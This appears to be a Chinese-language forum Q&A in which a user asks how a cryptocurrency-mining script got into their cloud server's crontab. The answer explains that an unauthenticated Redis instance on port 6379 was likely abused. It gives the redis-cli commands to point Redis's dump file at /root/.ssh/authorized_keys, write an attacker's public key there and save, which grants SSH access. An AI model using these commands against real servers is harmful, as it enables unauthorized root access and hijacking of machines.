crontab定时任务被注入了挖矿脚本跪求！

Question

问题描述腾讯云服务器，密码很复杂，突然crontab定时任务被注入了挖矿脚本确定不是密码泄露，请问是如何做到注入的。

Answer 1

我之前也遇到过这个情况，是因为6379端口开放，而且redis没有设置密码，
redis-cli连上后
configsetdir/root/.ssh
configsetdbfilenameauthorized_keys
setxxx"\n\n\n本地公钥信息\n\n\n"#"本地公钥信息"替换为自己的公钥信息
save
可以通过redis注入登录密钥，然后想干嘛就干嘛了,==